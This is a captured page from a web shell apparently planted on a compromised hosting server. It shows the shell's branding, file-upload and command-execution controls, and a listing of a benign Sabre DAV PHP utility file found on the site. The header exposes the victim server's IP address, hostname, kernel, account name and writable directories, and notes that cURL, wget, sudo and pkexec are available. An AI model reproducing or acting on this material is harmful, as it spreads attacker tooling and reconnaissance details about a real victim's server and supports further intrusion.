- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 18.219.12.88
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/puertode/public_html/contratos/3rdparty/sabre/dav/lib/DAV/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/puertode/public_html/contratos/3rdparty/sabre/dav/lib/DAV/StringUtil.php
<?php

namespace Sabre\DAV;

/**
 * String utility
 *
 * This class is mainly used to implement the 'text-match' filter, used by both
 * the CalDAV calendar-query REPORT, and CardDAV addressbook-query REPORT.
 * Because they both need it, it was decided to put it in Sabre\DAV instead.
 *
 * @copyright Copyright (C) fruux GmbH (https://fruux.com/)
 * @author Evert Pot (http://evertpot.com/)
 * @license http://sabre.io/license/ Modified BSD License
 */
class StringUtil {

    /**
     * Checks if a needle occurs in a haystack ;)
     *
     * @param string $haystack
     * @param string $needle
     * @param string $collation
     * @param string $matchType
     * @return bool
     */
    static function textMatch($haystack, $needle, $collation, $matchType = 'contains') {

        switch ($collation) {

            case 'i;ascii-casemap' :
                // default strtolower takes locale into consideration
                // we don't want this.
                $haystack = str_replace(range('a', 'z'), range('A', 'Z'), $haystack);
                $needle = str_replace(range('a', 'z'), range('A', 'Z'), $needle);
                break;

            case 'i;octet' :
                // Do nothing
                break;

            case 'i;unicode-casemap' :
                $haystack = mb_strtoupper($haystack, 'UTF-8');
                $needle = mb_strtoupper($needle, 'UTF-8');
                break;

            default :
                throw new Exception\BadRequest('Collation type: ' . $collation . ' is not supported');

        }

        switch ($matchType) {

            case 'contains' :
                return strpos($haystack, $needle) !== false;
            case 'equals' :
                return $haystack === $needle;
            case 'starts-with' :
                return strpos($haystack, $needle) === 0;
            case 'ends-with' :
                return strrpos($haystack, $needle) === strlen($haystack) - strlen($needle);
            default :
                throw new Exception\BadRequest('Match-type: ' . $matchType . ' is not supported');

        }

    }

    /**
     * This method takes an input string, checks if it's not valid UTF-8 and
     * attempts to convert it to UTF-8 if it's not.
     *
     * Note that currently this can only convert ISO-8559-1 to UTF-8 (latin-1),
     * anything else will likely fail.
     *
     * @param string $input
     * @return string
     */
    static function ensureUTF8($input) {

        $encoding = mb_detect_encoding($input, ['UTF-8', 'ISO-8859-1'], true);

        if ($encoding === 'ISO-8859-1') {
            return utf8_encode($input);
        } else {
            return $input;
        }

    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit